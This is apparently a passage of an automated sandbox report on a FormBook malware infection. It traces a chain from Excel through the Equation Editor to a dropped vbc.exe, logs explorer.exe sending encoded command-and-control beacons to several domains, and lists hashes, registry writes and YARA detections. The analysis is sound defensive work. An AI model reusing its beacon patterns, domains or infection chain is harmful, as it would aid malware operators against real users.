2 192.168.2.22 49167 156.235.143.6 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:16:54.608463049 CET

536 OUT GET /mz59/?u2M0SF6h=6o65y5aQ3K5IIOIZSpB7cm3zMzY8A11b3Xh1T1GzD81isrOpTqP8VmdELK0Vgou9N3EQzw
==&rFN0=Xrx4qn HTTP/1.1
Host: www.8no3.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:16:55.174544096 CET

537 IN HTTP/1.1 200 OK
Date: Thu, 26 Nov 2020 20:16:54 GMT
Server: Apache
Upgrade: h2
Connection: Upgrade, close
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8
Data Raw: 31 35 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 
30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 
2f 6b 68 6f 77 74 2e 63 6f 6d 2f 78 71 69 61 6e 67 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 
69 70 74 22 20 72 65 6c 3d 22 65 78 74 65 72 6e 61 6c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 
2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 3c 61 20 68 72 65 66 3d 27 2f 27 3e e6 ac a7 e5 ae 9d e4 bd 93 e8 82 b2 
3c 2f 61 3e 3c 2f 68 31 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 
65 73 74 65 64 20 55 52 4c 20 2f 6d 7a 35 39 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 
65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 152<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title><scri
pt src="http://khowt.com/xqiang.js" type="text/javascript" rel="external nofollow"></script> </head><body><h1><a href='/'>
</a></h1><h1>Not Found</h1><p>The requested URL /mz59/ was not found on this server.</p></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49168 184.168.131.241 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:17:00.401149988 CET

537 OUT GET /mz59/?rFN0=Xrx4qn&u2M0SF6h=2h5hbT8wvHGvzmy0HBHdrVji2gh81Syn3N+I4+PuKAlq7cZqA7t6XPE7i2
q+Hmh3HpIQwA== HTTP/1.1
Host: www.cna-notary.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:17:00.610135078 CET

538 IN HTTP/1.1 301 Moved Permanently
Server: nginx/1.16.1
Date: Thu, 26 Nov 2020 20:17:00 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Location: https://www.facebook.com/CNA-Notary-106238414638500/publishing_tools/?refSource=pages_manager_bar
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49169 23.227.38.74 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:17:20.869579077 CET

540 OUT GET /mz59/?u2M0SF6h=DnU1EkBat3Hivgbf1+4PHnhz+o7EzLkrjQo0TNQNOtieRb0aWO5zv8QtAyN+qW28k6DlMA
==&rFN0=Xrx4qn HTTP/1.1
Host: www.tennessyherb.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:17:21.088021040 CET

541 IN HTTP/1.1 403 Forbidden
Date: Thu, 26 Nov 2020 20:17:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Sorting-Hat-PodId: 151
X-Sorting-Hat-ShopId: 46403911832
X-Dc: gcp-us-central1
X-Request-ID: 9c532ece-10f9-4959-a97a-782aa8c8f781
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
CF-Cache-Status: DYNAMIC
cf-request-id: 06a7cd1bec0000c290c83e0000000001
Server: cloudflare
CF-RAY: 5f864ad97d91c290-FRA
Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 
20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 
63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 
3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 
31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 
6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 
3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 
30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 
72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 
Data Ascii: 141d<!DOCTYPE html><html lang="en"><head>    <meta charset="utf-8" />    <meta name="referrer" con
tent="never" />    <title>Access denied</title>    <style type="text/css">        *{box-sizing:border-box;margin:0;paddi
ng:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;display:flex;align-it

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.22 49170 67.195.197.25 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:17:26.564904928 CET

547 OUT GET /mz59/?rFN0=Xrx4qn&u2M0SF6h=z/+6kJk1ZiQzz1nPj4QpXoSyzw+77qJSyU9yqVlYEeNMvKLM5SL/kyHjrX
fbl0j4G8KzAg== HTTP/1.1
Host: www.bestpodstudio.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:17:26.764904022 CET

547 IN HTTP/1.1 400 Bad Request
Date: Thu, 26 Nov 2020 20:17:26 GMT
P3P: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi 
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL 
HEA PRE LOC GOV"
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 138
Content-Type: text/html; charset=iso-8859-1
Age: 0
Connection: close
Server: ATS/7.1.2
Data Raw: 3c 68 31 20 73 74 79 6c 65 3d 27 63 6f 6c 6f 72 3a 23 34 39 37 41 39 37 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 
32 70 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 27 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 
0a 3c 21 2d 2d 20 70 31 31 77 35 2e 67 65 6f 2e 62 66 31 2e 79 61 68 6f 6f 2e 63 6f 6d 20 54 68 75 20 4e 6f 76 20 32 36 
20 31 32 3a 31 37 3a 32 36 20 50 53 54 20 32 30 32 30 20 2d 2d 3e 0a 
Data Ascii: <h1 style='color:#497A97;font-size:12pt;font-weight:bold'>400 - Bad Request... p11w5.geo.bf1.yahoo.com Thu 
Nov 26 12:17:26 PST 2020 -->
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Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.22 49171 102.141.201.70 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:17:32.031821966 CET

548 OUT GET /mz59/?u2M0SF6h=OYXdaeXg9F3JN4qYjwOEDyjla/tUwsNCNX4C8lXWM8yJouL0vi1vAZ6NQlgRanHRrjTU7w
==&rFN0=Xrx4qn HTTP/1.1
Host: www.xjcg168.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:17:32.230328083 CET

548 IN HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Microsoft-IIS/7.5
Date: Thu, 26 Nov 2020 20:17:32 GMT
Connection: close
Content-Length: 57
Data Raw: e6 97 a0 e6 b3 95 e6 98 be e7 a4 ba e9 a1 b5 e9 9d a2 ef bc 8c e5 9b a0 e4 b8 ba e5 8f 91 e7 94 9f e5 86 85 
e9 83 a8 e6 9c 8d e5 8a a1 e5 99 a8 e9 94 99 e8 af af e3 80 82 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.22 49172 74.208.236.61 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 26, 2020 
21:17:42.485991955 CET

549 OUT GET /mz59/?u2M0SF6h=DyvGskzBclCbgEHOjTp+IehUzdGnZKMlyQnRi93amGKEFkS3cbEvMjPLMaYESsyOmM8Qkw
==&rFN0=Xrx4qn HTTP/1.1
Host: www.pellatrap.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 26, 2020 
21:17:42.628258944 CET

550 IN HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 1364
Connection: close
Date: Thu, 26 Nov 2020 20:17:42 GMT
Server: Apache
X-Frame-Options: deny
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 
20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 
74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 
20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
0 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 
30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 
65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 
20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 
3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 
65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 6
5 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 20 20 20 20 
20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 
65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 
54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 
65 73 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 6
9 63 65 2d 77 69 64 74 68 3b 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 
63 61 6c 65 3d 31 2e 30 3b 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 3b 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 
6f 72 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 
76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 
79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 
6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 
74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 
53 63 72 69 70 74 22 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 
27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 
Data Ascii: <!DOCTYPE html><html>    <head>        <meta charset="utf-8">        <style type="text/css">            html, 
body, #partner, iframe {                height:100%;                width:100%;                margin:0;                padding:0;                
border:0;                outline:0;                font-size:100%;                vertical-align:baseline;                background:transpare
nt;            }            body {                overflow:hidden;            }        </style>        <meta content="NOW" name="expires">  
      <meta content="index, follow, all" name="GOOGLEBOT">        <meta content="index, follow, all" name="robots">        
... Following Meta-Tag fixes scaling-issues on mobile devices -->        <meta content="width=device-width; initial-s
cale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport">    </head>    <body>        <div id="partner"></div>        
<script type="text/javascript">            document.write(                    '<script type="text/javascript" language="JavaScript"'    
                        + 'src="//sedoparking.com/frmpark/'                            + window.loc

Copyright null 2020 Page 34 of 41



Code Manipulations

Statistics

Behavior

• EXCEL.EXE

• EQNEDT32.EXE

• vbc.exe

• vbc.exe

• explorer.exe

• explorer.exe

• cmd.exe

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 21:15:37

Start date: 26/11/2020

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13f490000

File size: 27641504 bytes

MD5 hash: 5FB0A0F93382ECD19F5F499A5CAA59F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Analysis Process: EXCEL.EXE PID: 2196 Parent PID: 584Analysis Process: EXCEL.EXE PID: 2196 Parent PID: 584

General

File WrittenFile Written
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Registry ActivitiesRegistry Activities

C:\Users\user\Desktop\~$EME_PO.47563.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 13F6DF526 WriteFile

C:\Users\user\Desktop\~$EME_PO.47563.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 13F6DF591 WriteFile

C:\Users\user\Desktop\~$EME_PO.47563.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 13F6DF526 WriteFile

C:\Users\user\Desktop\~$EME_PO.47563.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 13F6DF591 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resiliency\StartupItems

&k7 binary 26 6B 37 00 94 08 00 00 02 00 00 00 
00 00 00 00 4A 00 00 00 01 00 00 00 
24 00 00 00 1A 00 00 00 65 00 6D 00 
65 00 5F 00 70 00 6F 00 2E 00 34 00 
37 00 35 00 36 00 33 00 2E 00 78 00 
6C 00 73 00 78 00 00 00 65 00 6D 00 
65 00 5F 00 70 00 6F 00 2E 00 34 00 
37 00 35 00 36 00 33 00 00 00 

success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Key CreatedKey Created

Key Value CreatedKey Value Created
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 21:15:56

Start date: 26/11/2020

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 1 41369F RegCreateKeyExA

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 21:15:58

Start date: 26/11/2020

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\Public\vbc.exe' 

Imagebase: 0xf90000

File size: 515072 bytes

MD5 hash: 4A105D55BFF1F7304E01CE7198BADA6B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: EQNEDT32.EXE PID: 2348 Parent PID: 584Analysis Process: EQNEDT32.EXE PID: 2348 Parent PID: 584

General

Key CreatedKey Created

Analysis Process: vbc.exe PID: 2436 Parent PID: 2348Analysis Process: vbc.exe PID: 2436 Parent PID: 2348

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.2133207139.0000000003421000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.2133207139.0000000003421000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.2133207139.0000000003421000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.2133240259.000000000349B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.2133240259.000000000349B000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.2133240259.000000000349B000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000004.00000002.2133084587.0000000002638000.00000004.00000001.sdmp, 
Author: Joe Security

Antivirus matches: Detection: 25%, ReversingLabs

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT read attributes | 
synchronize | 
generic read | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 6C4691F6 unknown

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E3B7995 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6E3B7995 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582
400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6E2CDE2C ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E3BA1A4 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Window
s.Forms\fb06ad4bc55b9c3ca68a3f9259d826cd\System.Windows.Forms.ni.dll.aux

unknown 1720 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\1be7a1
5b1f33bf22e4f53aaf45518c77\System.ni.dll.aux

unknown 620 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawin
g\1d52bd4ac5e0a6422058a5d62c9f6d9d\System.Drawing.ni.dll.aux

unknown 584 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\fe4b221b4109f0c78f57a792500699b5\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\e
b4cca4f06a15158c3f7e2c56516729b\System.Core.ni.dll.aux

unknown 900 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Web\9e
5950923286f171d1649a05bdc62830\System.Web.ni.dll.aux

unknown 3972 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V99
21e851#\4fc035341c55c61ce51e53d179d1e19d\Microsoft.VisualBasic.ni.dll.aux

unknown 1708 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\4f
bda26d781323081b45526da6e87b35\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6E2CDE2C ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6D3BB2B3 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6D3BB2B3 ReadFile

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\GDIPlus success or wait 1 6C4691F6 unknown

File CreatedFile Created

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created
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Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Mic
rosoft\GDIPlus

FontCachePath unicode C:\Users\user\AppData\Local success or wait 1 6C4691F6 unknown

HKEY_LOCAL_MACHINE\SYSTEM\Cont
